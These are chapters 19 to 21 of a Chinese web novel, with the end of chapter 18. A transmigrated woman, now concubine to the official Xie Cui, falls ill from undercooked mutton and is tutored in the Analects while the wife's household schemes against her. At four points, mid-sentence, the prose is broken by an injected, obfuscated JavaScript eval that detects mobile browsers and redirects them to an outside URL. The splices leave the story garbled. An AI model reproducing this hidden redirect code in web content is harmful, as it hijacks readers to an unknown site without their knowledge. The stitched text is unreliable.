终究还是寻真率先打破了沉默:“爷可要用饭?” 练字就练字,怎么还动手动脚。 谢漼默了片刻,搁下笔,什么都没说。 寻真当他默认,出去叫人,准备膳食。 月兰立在廊外,眼神惴惴:“姨娘,方才那是怎么了?” 寻真望了眼里面:“没什么,不要紧。” 月兰:“奴婢瞧爷的脸色不是很好呢。” 寻真拍拍月兰的肩:“没事,就是不小心把墨泼翻了……你帮忙叫人去里面收拾一下吧。” 她现在是不敢进去。 月兰:“是。” 引儿:“姨娘,要不要换身衣裳?” 寻真低头看看,裙子上沾了不少墨点:“嗯……” 在隔间换完衣服,寻真走到门口,深呼一口气。 她现在好像对谢漼有了点更深的了解。 只要她露出强烈不愿、抗拒的意思,谢漼就不会强来。顶多脸色不太好看。 那个度要拿捏好。 寻真再度走进屋内。 丫鬟们已经摆好了膳食,谢漼身边放着空碗和玉筷。谢漼也换了一身衣服。 寻真过去给他布菜。 刚才推了他一下,谢漼应该是真的生气了。 寻真在旁边立着。 谢漼用完膳食,都没有叫她坐下。 放下筷子,没有看她,只吩咐:“用完来书房。” 寻真:“是。” 谢漼走后,寻真总算能松一口气。 敲敲背,揉揉腰,坐下吃饭。 书房内,静谧无声。 寻真站在门口,唤了一声:“爷。” “进来。” 寻真来到为她准备的小案前。 桌上还是那本《女戒》。 “今日便抄写十遍吧。” “是。” 抄就抄呗。 寻真抄完,看了眼谢漼,见他凝神书写,没打扰。 坐在圈椅上,双手撑着椅面,望着窗外的植被发呆。 烛火幽幽,晚风轻拂。 不知过了多久,寻真突然感觉好似有人在看她。 是谢漼。 寻真对上谢漼的目光,不由摆正姿势,微微挪了挪屁股,直腰,手放到膝上,端正坐好。 谢漼将她这一系列小动作尽收眼底:“……抄好了?” 寻真点头。 谢漼收作业,拿过去,目光扫过最上面一页:“去歇着吧。” 寻真看了眼谢漼手边叠着的书,以及写了半页的纸张。他应该是还要再忙。 寻真:“是。” 寻真走出书房,连打两个哈欠,立刻加快了步速。 谢漼挺能熬的,他不是教书的吗,哪来那么多工作? 接下来几日,除了去书房抄《女戒》,寻真跟谢漼会说上几句话,其余时间,连目光交汇的瞬间都没有。 寻真觉得,谢漼大概已经察觉到,她非常抗拒他的靠近。 他一靠近,身体便忍不住紧绷了。 下意识的肢体动作骗不了人。 不过,寻真却不确定, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776140|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢漼是不是还在因为上次她推开他而生气。 光看他的脸,是真的看不出来。 还有,这几日,谢漼不知道在忙什么,每天都忙到深夜。 好几次,寻真睡得迷迷糊糊的,听见轻微的开门声,见他进来了,连忙闭上眼睛,装睡。 怕他叫她起来干活。 白天谢漼不在,寻真就规矩了几日,开始给自己找乐子。 在后院找了处极为隐蔽的角落,用木棍支起了一个简易的烧烤架。 刷上调料,在小火上慢慢烤。 不多时,熟悉的香味飘散开来。 寻真嗅着这股香味,思绪却忽然飘远。 想起以前,与商云在学校对面的烧烤店撸串。那样的日子,再也不会有了。 眼中有水光闪过。 月兰和引儿在狭道上给她守着,生怕别人看见了。 寻真烤好了几串,招手:“月兰,引儿,快过来。” 引儿小跑过来。寻真将两串羊肉递给她,道:“尝尝,我觉得挺好吃的。” 在这个时代,调料已经非常丰富,例如花椒、孜然、胡椒……都出现了,串肉而烤的吃法也不是新鲜事。 然而像月兰引儿这般深居宅院中的丫鬟,只听说过外头的酒肆有这么一种吃法。 引儿好奇地接过那串羊肉串,仔细端详。 只见那羊肉在炭火的烤制下微微泛黄,滋滋冒油,散发着诱人的香气。 引儿拿过去分给月兰一串。 两位丫鬟站在狭道上,略显拘谨地拿着签子,学着寻真的模样,用嘴轻轻扯下一块羊肉,放入口中慢慢咀嚼。 羊肉的鲜嫩与调料的香味瞬间在口腔中散开。 引儿不禁眼睛一亮:“姨娘,好吃!” 寻真看着熟悉的面庞,心里又感慨起来。 月兰点点头,细细品味难得一吃的羊肉。 “再来一串。”寻真再次招了招手。 两丫鬟拿着竹签子,互相看了看,迟疑了会,先后都摇摇头。 “姨娘吃吧。”引儿道。 在大周朝,羊肉可不是寻常人家能够随意享用的食材,价格颇为昂贵。 今日寻真不过是一时兴起,想要烤羊肉串,月兰便向厨房提出了这一需求。 自谢漼将寻真接到这院子后,下人们私底下聚时,谈起此事,皆道这柳姨娘定是深得主子的宠爱。 院中的厨房管事深谙世故人情,见柳姨娘如此受宠,不敢有丝毫轻慢。 当下便差人前往大厨房问询,用的是谢漼的名头。 大厨房管事一听,忙不迭地亲自督办,特意吩咐手下人精挑细选,只取那肉质鲜嫩、纹理细腻的上等羊肉。还额外多送了两倍的量。 寻真不知道这朝代的物价,也不清楚向厨房要个羊肉背后还有这么多弯弯绕绕。 还想着,要是没有羊肉也没关系,就不吃了呗。 吃完,寻真拿着根小木棍,将动过土的地方仔细翻了翻,又用力踩实,直至恢复如初。 回到内室,寻真腹中隐隐作痛,有点想吐。 月兰见她脸色不对:“姨娘可是有哪里不舒服?” 寻真心想,难道是因为吃了羊肉串? 寻真:“没事,我有点困,睡会就好了。” 那股子恶心的感觉直到谢漼回来也没消散。 寻真强撑着起身,抹去额上的汗珠,去膳厅。 桌上,比平时多了两道以羊肉烹制的菜。 一为“香酥羊肉卷”,将羊肉剁碎,佐以葱姜香料,裹于薄饼之中,入油炸至金黄酥脆;一为“羊肉苁蓉煲”,羊肉切块,与苁蓉同煮,肉香与药香交融,滋补暖身。 谢漼目光扫过桌面,抬眸,看了一眼身侧的寻真,道:“这一日都做了些什么?” 19. 第 19 章 寻真心下一惊。 谢漼怎么突然问这个。 “……就练了练字。” 难道…… 他闻出来她吃了羊肉串,鼻子这么灵? 可她吃完后在院子里溜达挺久的,身上味儿应该早就散了吧! 谢漼细细端详寻真那略显苍白的脸,命人传唤月兰与引儿入内,问她这一整天都做了些什么事。 月兰一一道来:“姨娘晨起较迟,直至巳时过半才起,用了些米粥,便又卧于榻上休憩。至晌午用过饭食,于庭院中踱步片刻,而后回屋练字……” 说到这里,月兰顿了顿,将寻真在后院烤羊肉串的事隐去。 “此后直至爷归来。” 谢漼:“可有疏漏之处?” 月兰:“并无。” 谢漼凝视她:“月兰,抬起头来。” 月兰只觉冷汗潸然,额头密布,缓缓抬头,目光触及谢漼那清冷面容,双腿一软,“扑通”一声跪地。 刹那间,屋内气氛凝重如铅。 谢漼转而望向引儿:“你来说。” 寻真见瞒不住了,直接承认:“我今天还做了烤羊肉吃。” 谢漼看她:“……你?” 寻真点头:“我在后院找了个小角落,支了火架……用竹签子把羊肉串起来烤的。” 本以为谢漼要将她训一顿。 他却问:“可烤熟了?” 寻真“啊”了一声,懵懵的。 谢漼:“坐下。” 寻真坐下,谢漼执起她的手,放桌上,三指轻搭腕间,把脉。 谢漼:“腹中可有不适?” 寻真:“……有点。” 谢漼松开了手,目光移到她唇上:“张嘴。” 见寻真未动,谢漼抬手轻轻握住她的下颌。 指尖温热,不经意间划过细腻的颈部。 谢漼俯身贴近,直视她的眼眸,再度道:“张嘴。” 寻真张开了,眼睛朝边上飘去。 “伸舌。” 犹豫了会,寻真伸出舌头。 红润的舌探出来,像一尾灵活的小鱼。 她眼珠也同样灵活地四处乱转着。 谢漼收手。 寻真只觉得下颌被他捏过的地方,有淡淡的灼烧感。 谢漼道:“生羊肉与你正在服用之药中数味药性相克。” 原来是羊肉没烤熟。 前臂掌侧,腕横纹上两寸。 谢漼抓着寻真的手,用力按压内关穴。 谢漼十岁时,老夫人罹重疾,卧床不起,府上遣家丁仆役四处奔波,遍访天下名医。最终觅得一位隐于民间的圣手。传言其医术出神入化,似有通神之能。 谢漼年幼时,性喜读书,亦曾览阅数本医书,粗通些医理药性的理论。 名医在府中住了两年,谢漼常去请教名医。那名医见此子颇具慧根,又兼勤勉向学,遂起了爱才之意,纳为半个徒弟,悉心教诲,倾囊相授。 因此,于寻常病症,谢漼都能应对。 谢漼在寻真腕间穴位处精准施力,按压几下过后。 寻真只觉得胸口那股堵塞的憋闷感渐渐消散了。 紧接着,腹中翻涌起来。 寻真弯下身子,“哇”的一声吐出来。 背后,宽厚的大掌抚上来,缓缓摩挲几下。 “拿纸笔来。”谢漼的声音。 “是。” 月兰上前,挪开桌上的碗筷,展开纸张,磨墨。 谢漼提笔蘸墨,须臾间便写就一方。 他将纸递与月兰:“令承安速去药房抓药,即刻煎来。” 月兰接过:“是。”说完跑了出去。 寻真被丫鬟搀扶着,移至次间安歇。 过了一会,月兰端着药碗匆匆而来。 寻真看着那黑乎乎的药汁,心里发苦。 这具身体真的太弱了! 谢漼坐在床侧:“趁热喝,若凉了,药性便大打折扣。” 哦! 寻真拿过,一饮而尽,嚼蜜饯时听谢漼说:“若是想吃烤肉,吩咐厨房做便是,何至于自行劳神费力,将自个身子折腾成这样。” 寻真想,其实她烤很久了,应该是肉块太大,中间部分没烤熟。 下次可以切小一点。 寻真:“嗯,知道了。” 谢漼:“早些休息。” 谢漼起身前,看了她一眼。 随后微微摇了摇头。 小小折腾了这一番,原身这娇弱的身子实在不堪重负,寻真在床上足足躺了两日。 寻真心想,等以后回了那院子,定要加强训练。 不然就这小身板,即便有机会逃了,怕也难在外面活下来。 身体是革命的本钱! 只是谢漼似有让她在这里长住的意思,那院子恐怕一时半会儿回不去了。 至第三日,寻真已经痊愈。 但好了,就得工作,还要搬回谢漼的屋子。寻真寻思能拖一日是一日,于是对月兰与引儿谎称身子尚未大好。 这两人,一点都不会演,被谢漼一盯,就破绽百出,还直接跪了……寻真只能瞒着她俩。 前两日,寻真都在房里用饭,谢漼前来探视一眼,就走了。 这日,他却于床边坐下,让寻真伸出手来。 寻真知道他懂医术,心中仍存疑。 应该不至于能把出来? 没那么神吧! 寻真伸出手腕,谢漼的手指搭上,问道:“今日感觉怎样?” 寻真回道:“……肚子还有些不适,下床的时候,头有些晕晕的。” 谢漼松开了手,那双桃花似的眸子中闪动着烛光:“是么?” 寻真点头:“嗯。” 月兰端着膳食进来。托盘上,整齐陈列着八道菜,荤素相谐。 脍鲈鱼、翡翠虾仁、香酥乳鸽、素炒时蔬、酿豆腐、藕粉圆子……还有红烧肉! 寻真闻到了味儿,腹中一阵咕噜作响。 目光盯着,不自觉吞咽了一下。 谢漼起身,瞥了眼托盘:“姨娘身子尚未痊愈,油腥之物不宜食用,换些清淡素食来吧。” 月兰瞧了瞧一脸渴望的寻真,这些膳食皆是姨娘亲口所点,可爷既已吩咐,她哪敢违抗。 应道:“是。” 寻真眼巴巴地看着月兰将那盘红烧肉端走。 谢漼看了她一眼,转身离去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776141|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻真望着他的背影,为什么感觉……谢漼是故意那么说的? 寻真的嘴寡了两天。 谢漼特地吩咐了,饮食务必清淡,月兰与引儿自是不敢由着她点菜吃。 寻真说自己完全康复,两丫鬟死活不信,对她的要求置若罔闻。 寻真苦着脸,看着月兰端上来的吃食:“天呐,又是粥,给点肉吃吧,月兰姐姐!” 月兰耐心劝道:“爷说了,姨娘您还在病中,您自个儿又不晓得爱惜身子,我们定要仔细看护,万不能在饮食上出了差池。这几日,姨娘且忍耐些,病去如抽丝,需得好好调养,待病完全好了,到时自是想吃什么就有什么。” 引儿亦在旁自责道:“上次都怪奴婢疏忽,让姨娘不慎吃下生羊肉,致使姨娘卧病在床,爷虽未曾怪罪,可奴婢心中着实愧疚难安。” 月兰接着道:“姨娘就听奴婢的话吧!” “好了!我真的好了!” 寻真直接下了床,原地蹦跳了几下。 两丫鬟急忙放下手中物件,上前搀扶。 谢漼步入房中,恰好看见寻真在床边蹦跶,脚步一滞。 两丫鬟将寻真扶回床上,转身瞧见谢漼,福身行礼。 谢漼:“方才在说什么?” 月兰:“姨娘说……” 寻真接过话头:“我说我已经好了,她们都不信。” “好了?” 谢漼踏入院子,隐约听到此屋的声响,未及更换衣物,便径直朝着寻真的屋子而来。 大周朝官服依旧礼,以颜色明品级,一品二品着紫袍,三品四品穿绯色……自一品至九品,色泽递变。 谢漼身着正七品官服,深青色。 圆领长袍,绫罗为料。领口及袖口,皆绣有精致的云纹。腰间束一革带,宽约二寸,带身以黑色皮革制成。带扣为精美的铜制,饰有小巧的兽面图案,打磨光滑,闪烁着淡淡的金属光泽。脚蹬乌皮六合靴,靴面光洁,靴头微微上翘。 整个人透着一股庄严肃穆之气。 谢漼于床边坐下,目光落在寻真身上。 寻真点头,左手自锦被中伸出,主动撩起衣袖。 露出一截雪白纤细的手腕。 谢漼的手指落下,搭于腕间,诊脉。 寻真期待地望着他,那眼神好似在问—— 好了吗? 片刻,谢漼抬眸:“脉象平和,已无大碍,自是可正常饮食了。” 又道:“既已痊愈,便去换身衣裳,一同用膳吧。” 寻真:“……好。” 又得上班。 谢漼更换了常服,坐于饭桌前。 寻真站在自己往常的位置,正要为谢漼布菜。 谢漼道:“坐下吧。” 寻真:“是,谢谢爷。” 目光扫过桌面,基本都是她爱吃的,总算能开荤了! 这一声谢,倒是发自肺腑。 用完饭食,谢漼唤她同往书房。行数步,发觉寻真并未跟上。 回首看着她道:“来。” 寻真踟蹰了一下:“爷……我能先去换个衣服吗?” “为何……”谢漼刚启唇追问,却似突然想到什么,目光自她面庞移开,落了下去。 20. 第 20 章 寻真侧过身,挡住谢漼的视线,捏了捏裙摆:“很快就好。” 谢漼颌首:“去罢。” 到了书房,谢漼依旧让她抄十遍《女戒》。 寻真心里叹气,这日子啥时候是个头啊! 等谢漼忙完一阵,寻真将抄完的作品给他看。 谢漼接过,目光扫过,随后置于案几之上。 “抄录如此多遍,可有记到心里去?”谢漼抬眸,声音平静无波。 寻真:“现在已经会背了。” “哦?” 寻真瞄他一眼,启唇背诵。 此时书房内静谧无声,只有寻真清脆悦耳的背书声回荡其间。 她身姿挺拔,双眸灵动,背书之时,声韵抑扬顿挫,如珠落玉盘,清脆动听。 一气呵成,竟是一个错字也无。 寻真背完,谢漼没什么表示。 “爷,我没背错吧?” 谢漼:“背得颇为流畅,且具韵律之感。” 哎? 被表扬了? 下一秒,谢漼却说:“可我方才所问,分明是,可有记到心里去?” 谢漼重复一遍,目光自上而下,注视着她。 寻真双唇紧抿,并未作答。 谢漼继续问:“女戒第五篇为何?” 寻真依旧沉默。 她虽低头,然脊背却挺得笔直,如一支宁折不弯的翠竹,这般模样,较以往,竟是执拗了数倍。 谢漼凝视她片刻,终是道:“罢了。” 次日,她那张案几上的书换了。 寻真拿起《论语》,听得谢漼道:“四书五经,若世间万象之境,映天理伦常,常读之,于个人品行塑造,大有裨益。亦可明德,立心。你今日且先从从论语习起,等我事毕,便向你讲解其中精妙。” 寻真点头。 翻开,好多句子都背过。 看论语总比看女戒要好,寻真认真看起来。 寻真以为谢漼只是说说, 没想到是真的准备教她。 待谢漼诸事皆息,他问道:“其间可有晦涩难懂之处?” 寻真摇头。 谢漼看着她,问道:“书中有言‘君子喻于义,小人喻于利’,然世路纷纭,义利之间,界限难明,若遇义利相缠之事,何以为辨?” 寻真张了张嘴:“……不知道。” 谢漼道:“君子之行,以义为先。义者,宜也,合于天理公道之正途。当遇抉择,先察其源。若利源不正,虽诱而弗取;若利可兴义,济众且善身,则斟酌而从。” “譬如行商,若以欺诈获厚利,虽财帛满仓,终失大义。而若能于利中取义,如济民之利,虽有小私,然无损于公义,亦可为君子之举。” “总以道义为衡,不为浮利乱心,审时度势,守正不移,使利为义佐,而非义为利役,如此可辨。” 寻真:“……哦。” …… 上了一小时课,脑子被知识点塞得满满当当,晕晕乎乎。 她高考语文最差啊! 阅读理解还是她最弱项! 惠宁院。 气氛凝重得仿若能拧出水来。 吕令萱端坐,“啪”的一声响,茶盏还未拿起,便摔落在桌上,茶水四溅,溅湿了吕令萱的手。 一旁的丫鬟忙扯出一方帕子,小心翼翼地为夫人擦拭。 吕令萱的声音有些颤抖:“宋嬷嬷,你所言之事可千真万确?” 宋嬷嬷:“夫人呐,此事断然假不了!小蝶都亲眼瞧见了,那贱蹄子在爷院里已住了十日有余,整日缠着爷不放。爷去书房,她都要巴巴地跟着,当真是毫无廉耻之心。尽使些下作手段……这要是误了爷的前程,可如何是好啊!” 吕令萱听了,手心不自觉攥紧。 宋嬷嬷道:“夫人,这事儿定得让二爷知晓,唯有二爷能为您做主啊。” 吕令萱面露犹豫,轻咬下唇:“……可是……” 宋嬷嬷眼珠一转,瞧了瞧吕令萱的肚子,欲言又止:“夫人,那贱蹄子整日与爷勾搭在一块儿,万一要是又……” 吕令萱心中一凛,咬了咬牙,道:“我明日便去见二夫人。” 次日晨间,孙氏于屋内闲坐,听闻侄媳妇求见。 心中不禁思忖,侄媳妇突然前来,莫不是因为五郎? 她道:“快请。” 吕令萱进来了,孙氏抬眸望去。 侄媳妇步履虚浮,面色憔悴,眼部浮肿,分明是哭过一场。 孙氏关切问道:“这是怎了?怎的如此憔悴。” 吕令萱未语泪先流,两行清泪滑落。 一旁的丫鬟忙上前搀扶,将她扶着坐下。 “二伯母……”吕令萱以帕掩面,哽咽出声。 “令萱,可是受了什么委屈?”孙氏倾身向前。 吕令萱用帕子拭泪,眼神看向两边。 孙氏立即会意,速令下人退下。 屋中只剩她与吕令萱二人。 “令萱,有什么委屈都告诉二伯母。”孙氏声音柔和,带着安抚之意。 “这事儿,原是我的本分,不该来叨扰二伯母,只是我实是不知该怎么办了……” 孙氏问道:“可是那柳氏?” 吕令萱点头:“二伯母,那柳氏承蒙夫君眷顾得了名分之后,我不过是依着常理,差人告知她需来请安,也好将她管束起来,莫要失了分寸。可不料,那柳氏只来了一日,便不来了。” 孙氏惊道:“竟有此事?” 她心想,二爷一向敬重她,院里的几位姨娘,晨昏定省,每日准时前来,不敢有丝毫错漏,一个个皆服服帖帖,从不敢越过她这个正妻去。 这内宅之事,归根到底,还得看男人的态度,若是自家男人不把正妻的脸面放在心上,那妾室的心气儿便高了,仗着几分宠爱,便极易滋生出轻视正室的念头。长此以往,妾室的心越养越大,迟早会致使内宅鸡犬不宁,乱象丛生。 五郎那般灵慧通透之人,怎会做出这等糊涂事来? 吕令萱:“不止如此……” 孙氏心道:竟还有更过分的? 吕令萱思及此,泪潸然落下,委屈道:“现下,五郎还将那柳氏接到了自个院子,日夜相伴……” 孙氏脱口惊呼:“什么?!” 吕令萱:“二伯母,若那柳氏只是一心侍奉,能将夫君照料周全,为夫君排忧解难, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776142|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就罢了……我却听说,她似是连夫君于书房处理公务之时也要贴身相随,这实是太不像话,倘若因此而贻误了夫君的前程,便都是我的错,是我驭下无方,管教妾室不力。” “太不像话了!” 孙氏站在侄媳妇的角度,觉得她简直委屈的不得了。 哪家的媳妇能被一个妾室踩到如此地步? 简直半点脸面都没了! “令萱,你放心,我定给你讨个公道来!” 吕令萱盈盈下福:“多谢二伯母了……” 孙氏起身,上前扶住了她,用帕子擦擦她的脸:“可怜见儿的。” 晚上,孙氏便将这事儿与谢二爷说了。 孙氏道:“今日,令萱前来寻我了。” 谢彦成问:“可是缮之的事? 孙氏点头,面上含着怜惜:“侄媳妇哭得可怜,好似受了天大的委屈。一问才知,五郎竟将那西苑的柳氏带到他院中,日夜相伴,已十日有余了……” 谢二爷若有所思。 孙氏继续道:“旁的,咱们睁一只眼闭一只眼也就罢了。可如今这般情形,着实太过出格。若传出去,被外面的人知晓,咱们谢府的规矩颜面何存?” 谢二爷轻叹,缓声道:“这确是不妥。只是此事,说小不小,说大也不大,。” 他略作停顿,又道,“我观五郎,平日里瞧着倒是个守规矩之人,然其本心,实乃至情至性之人,行事多随心而动。这一点,倒是与四弟有几分相似。” “五郎与旁人不同,他自由聪慧,智计过人,且心有傲气,自恃才高,常以俯瞰之姿看待周遭诸事。故而于这内院之中琐碎小事,他亦不曾上心。” “至于那柳氏,我思量着,其为人品格想必不会太差,不然也难以入得五郎的眼。” “只不过,缮之于仕途上,宠妾灭妻终究难听,我且去说一说他,即便要宠,也该遮掩一些,不让旁人知晓。” 孙氏:“是这理儿。” 谢二爷:“当初若不是老夫人执意要定下她娘家之人,只论这品行,实是难与缮之相匹配。也难怪五郎会这般违逆行事。” 孙氏身为儿媳,不便随意谈论婆母是非,只轻声说道:“五郎似是极少去侄媳妇院中,如今那柳氏已产子,五郎却依旧宠溺有加。如此下去,难不成要让这庶子女一个个皆从柳氏腹中出来?” 谢二爷只道:“缮之房中事,我亦不便过多插手。待明日,我稍稍提点他一二,知晓此事于家族名声、自身前程皆有干系,此后行事,想必会有所收敛。” 孙氏躺在谢二爷怀里,叹了口气。不再多言。 昏昏欲睡。 谢漼温润的声音仿若从遥远之地飘来,寻真捧着论语,眼前逐渐模糊。 眼皮不由自主地上下打架,脑袋一点一点。 脑海被人用书敲了一下,寻真陡然清醒。 直起身子,眼神些许迷茫。 一时间,还以为自己坐在教室,听语文老师念经。 定睛,眼前是谢漼的书房。 梨花木桌,书卷古朴,窗户棂格精致,糊着的窗纸在夜风中颤动。窗外,隐约可见几竿修竹。 谢漼道:“我方才讲到哪里?” 21. 第 21 章 寻真定了定神,脑海中有一点残余的记忆,念出一段:“君子食无求饱,居无求安,敏于事而慎于言,就有道而正焉,可谓好学也已。” 谢漼随即抛出一个问题:“此句中,君子于食、居、事、言诸般方面的要求,如何能做到平衡?且这般要求,对君子成德有何助益?” 寻真冥思苦想中。 “爷。”承安在书房外唤了一声。 谢漼一顿,若无要紧事,承安是不会来的。 “何事?”他走了出去。 “二爷找您。” “你先回去吧。”谢漼回首说了一句。 寻真说了声“是”,心底一阵激动,提早下课! 谢漼跨入谢二爷书房。 “二伯。”他行礼问候。 “坐。” 谢二爷也不与他兜圈子,径直切入正题,问道:“缮之,我听闻,你将那柳氏接到你院子里去了?” 谢二爷代为教养谢漼,是在谢漼七岁显露神童之姿后才开始的。 在那之前,谢漼可以说是野蛮生长。 有道是“三岁看大,七岁看老”。侄儿年幼时,在那般妻妾纷争、秩序全无的环境中生活,如今会有此般行事风格,似乎也有因可循,怪不得他。 只叹若能早知晓缮之的资质,实应从他尚在襁褓之时便悉心教养。现今的缮之,从表象观之,行事作为宛如君子,举止有度,可实际上,缮之内心深处真正的想法,连谢二爷也看不透。 “是。”谢漼道,“二伯如何得知?” 谢二爷:“你那媳妇儿来找过你伯娘,道是那柳氏与你同住十日有余了,缮之,我想你亦明白,于仕途之中,宠妾灭妻,终究难听。” 谢漼:“二伯,我知。” 谢二爷:“我也不多说了,缮之你心里自有分寸,只莫将此间事传扬出去,私底下……也无妨。” 谢漼点头。 谢二爷话锋一转,面色凝重起来:“西北几地已然两月未降滴雨,似有大旱之兆,于此事,缮之有何看法?” 谢漼:“前些日子,我与明翰曾探讨了一番,亦让学生们整理了历代有关抗旱救灾的良策,其间不乏一些现今仍可采用之法。尚需结合当下西北之地的实际情形加以推敲,目下还未整理完备,仍需斟酌几日。” 谢二爷:“你且细细讲来。” …… 谢漼与谢二爷讨论完朝政。 踏入惠宁院。 谢漼身影刚现,院子里的下人瞧见,脸上皆露出又惊又喜之色,慌不迭地奔入内室通传。 谢漼脚下步履未停,神色淡淡,径直跨入内室。 吕令萱正端坐于镜前,丫鬟为她卸去钗环。闻丫鬟来禀,看着镜中的自己,抬手整理了下鬓边的发丝,吩咐丫鬟重新梳妆。 未及丫鬟动作,谢漼已阔步迈入。 吕令萱匆忙起身,抬眸望去。 谢漼着一袭月牙色长袍,仿若携着一身清冷月色而来,面容俊美,气质清雅。 吕令萱眼神瞬间迷离,心中恰似春水被搅,泛起层层涟漪。 倘若早知晓自己有如此福泽,能与这世间佼佼儿郎结为夫妇,她也不会…… 可惜……没有如果。 “夫君。”吕令萱轻启朱唇,声若柔丝。 谢漼抬手,示意下人退下,却并未入座:“昔日我与你所言,莫非要我再次复述?” 幽微烛光摇曳,洒落在他身上,更添几分冷清。 吕令萱眼帘低垂,轻声辩驳:“妾皆铭记于心。夫君,只是……” “那柳氏居于夫君之院,此事若传扬出去,旁人定会指指点点。夫君心怀壮志,本有那万里青云的大好前程,又怎能因一寻常女子而遭人诟病……” 谢漼淡然道:“此等事宜,无需你劳心费神。” “吕氏,你只须知,若你不能胜任这正妻之位,自会有更为合适之人取而代之。” 吕令萱听闻此言,身躯剧震,满心惊恐。 夫君竟为了那贱籍女子,要休了她! 她身躯一软,瘫倒于地。谢漼离去后,丫鬟进来,见状大惊失色,赶忙上前搀扶。只见吕令萱泪痕满面,泣不成声。 “夫人,您这是怎了?”凝冬忧心忡忡,目光往门外瞥了一眼,“方才爷……” 吕令萱强自镇定道:“我无事,你且去准备热水,我要沐浴。” “是。” 吕令萱步入浴房,将丫鬟们尽数赶出。片刻之后,室内隐隐传来压抑的啜泣声。 宋嬷嬷朝里张望一眼,拉着凝冬走向门外。 两人于廊下低声私语。 “爷怎对夫人如此薄情,全然不顾正房体面!”凝冬满面愤懑,“我真是替夫人委屈,夫人这般花容月貌,却夜夜独守空闺。” 宋嬷嬷:“爷的心全系在了那柳氏身上,夫人堂堂正妻,任由那狐媚子骑在头上。这口气,我实在咽不下去,可恨至极!” 凝冬:“……是老夫人能知晓此事,替夫人做主就好了。” 宋嬷嬷:“此事还未到惊动老夫人的地步。那柳氏如今正是得宠之时,若贸然将此事告知老夫人,万一爷恼了,反倒怪到夫人头上,岂不是得不偿失?” 凝冬:“……嬷嬷说的是。” 静远居。 谢漼在院里审人。 寻真在床上酝酿睡意,外头隐隐传来嘈杂的声音。她披了件外衫,走出房门。 只见庭院之中,灯火通明,仆人跪了一地,皆低垂着头,身躯瑟瑟发抖。 谢漼身姿挺拔却透着冷意,站在中央,审讯着下人们。 人群中,一个年约十二岁的小姑娘,踉跄着扑倒在地。 她面色惨白如纸,眼中满是惊恐,豆大的泪珠簌簌滚落,洇湿了脚下的青砖。 紧接着,“咚咚咚”一连串响头磕下,不过转瞬,光洁的额头上已满是鲜血,触目惊心。 小姑娘声嘶力竭地哭喊着:“奴婢错了,再也不敢了,求爷饶了奴婢这一次吧!” 凄厉的哭喊声在夜空中回荡,令人心生不忍。 谢漼只淡淡地瞥了一眼:“带走吧。” 寻真想起刚穿来那天,也是类似的场景。 那会儿,寻真还没搞清楚状况,以为是NPC。 后来听月兰说,那天,有几个被活活打死。 而谢漼呢,只平静地坐着,看着那些人被活活打死。 眼中没有丝毫动容,视人命如草芥。 九月的夜晚,白日的暑气尚未全然褪去,微风轻拂,仍带着丝丝缕缕的燥热。 寻真却在这温热的风中,遍体生寒。 庭院中,一方池塘泛着粼粼波光。 池塘里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14776143|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正值荷花盛放的好时节。一池荷花散发着淡雅清幽的香气。 荷香与若有似无的血腥味纠缠在一起,钻进寻真的鼻尖,令她胃中一阵翻腾。 寻真立在门框边,踌躇良久。 跪在地上磕头的小姑娘,寻真瞧着眼熟。 寻真盯着,很快想起来。 她叫小蝶,在厨房干活。 那天寻真要找烧烤的调料,正好小蝶在。寻真要孜然,这时代不叫这个名儿,比划半天才知道,孜然在这叫“安息茴香”。 寻真问她名字。 小蝶腼腆的笑容,还历历在目:“奴婢叫小蝶,蝴蝶的蝶,姨娘若是往后想要找什么调料,或者有什么其他的需求,都可以来找奴婢。” 她是犯了什么事儿吗? 两个仆人上前,将小蝶架了起来。受伤的额头溢出血珠,顺着脸颊淌下,蜿蜒出一道刺目的血痕。 寻真不及多想,拢了拢衣服,跑出去:“等等!” 声音格外清脆响亮。两仆人停下脚步,看了过来。 